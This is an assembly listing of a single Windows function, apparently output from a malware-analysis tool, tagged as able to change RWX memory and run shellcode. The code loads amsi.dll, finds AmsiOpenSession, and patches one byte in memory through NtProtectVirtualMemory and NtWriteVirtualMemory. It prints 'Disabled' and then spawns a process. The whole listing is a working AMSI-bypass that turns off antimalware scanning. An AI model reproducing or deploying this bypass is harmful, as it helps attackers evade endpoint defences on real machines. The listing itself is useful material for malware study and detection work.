Function at 0x140002850
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov dword [rbp - 0x41], 1
mov dword [rbp - 0x45], 2
mov ecx, dword [rbp - 0x45]
mov eax, dword [rbp - 0x41]
add ecx, eax
mov dword [rbp - 0x3d], ecx
mov ecx, dword [rbp - 0x3d]
mov eax, dword [rbp - 0x45]
add ecx, eax
mov dword [rbp - 0x41], ecx
call fcn.140001530
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.amsi.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.AmsiOpenSession
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400028df
lea rcx, str.____Failed_to_get_address_of_AmsiOpenSession_n
jmp 0x1400029ed
mov byte [rbp - 0x49], 0x75
lea rcx, str._n___The_Patch_:__p_n_n
mov rdx, qword [rbp - 0x49]
call fcn.1400010e0
mov ecx, esi
mov dword [rbp - 0x45], esi
mov rax, rsi
mov qword [rbp - 0x39], 0x1000
cmp byte [rax + rbx], 0x74
je 0x140002926
inc ecx
inc rax
cmp rax, 0x400
jl 0x140002903
mov qword [rbp - 0x69], rsi
lea rcx, str.____Failed_to_find_the_patch_location_n
jmp 0x1400029ed
movsxd rax, ecx
add rax, rbx
mov qword [rbp - 0x69], rax
jne 0x14000293e
lea rcx, str.____Failed_to_find_the_patch_location_n
jmp 0x1400029ed
lea rax, [rbp - 0x45]
mov r9d, 0x40
lea r8, [rbp - 0x39]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x69]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140002978
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory1___u__n
call fcn.1400010e0
jmp 0x1400029f2
mov rdx, qword [rbp - 0x69]
lea r8, [rbp - 0x49]
mov r9d, 1
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x1400029ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtWriteVirtualMemory___u__n
call fcn.1400010e0
jmp 0x1400029f2
mov r9d, dword [rbp - 0x45]
lea rax, [rbp - 0x45]
lea r8, [rbp - 0x39]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x69]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x1400029e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory2___u__n
call fcn.1400010e0
jmp 0x1400029f2
lea rcx, str._nDisabled._n_n
call fcn.1400010e0
xorps xmm1, xmm1
mov dword [rbp - 0x3d], esi
xor eax, eax
mov dword [rbp - 0x29], 0x68
xorps xmm0, xmm0
mov qword [rbp - 0x51], rax
mov ecx, 8
mov dword [rbp + 0x3b], eax
movups xmmword [rbp - 0x61], xmm0
mov word [rbp - 0x41], si
movups xmmword [rbp - 0x25], xmm1
movups xmmword [rbp - 0x15], xmm1
movups xmmword [rbp - 5], xmm1
movups xmmword [rbp + 0xb], xmm1
movups xmmword [rbp + 0x1b], xmm1
movups xmmword [rbp + 0x2b], xmm1
call fcn.1400035c0
mov rbx, rax
mov qword [rsp + 0x28], 2
lea rax, vtable.BunnyProcessRunner.0
lea rcx, [fcn.140001f00]
lea r9, [0x1400080d0]
mov qword [rbx], rax
lea r8, [rbp - 0x29]
mov rax, qword [fcn.140001f00]
lea rdx, [rbp - 0x61]
cmp rax, rcx
jne 0x140002a80
lea rax, [rbp - 0x41]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140001f00
jmp 0x140002a8e
lea rcx, [rbp - 0x41]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call rax
test eax, eax
jne 0x140002ac3
mov rcx, qword [rbp - 0x61]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x61]
lea rdx, [rbp - 0x3d]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
mov eax, dword [rbp - 0x3d]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400035a0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret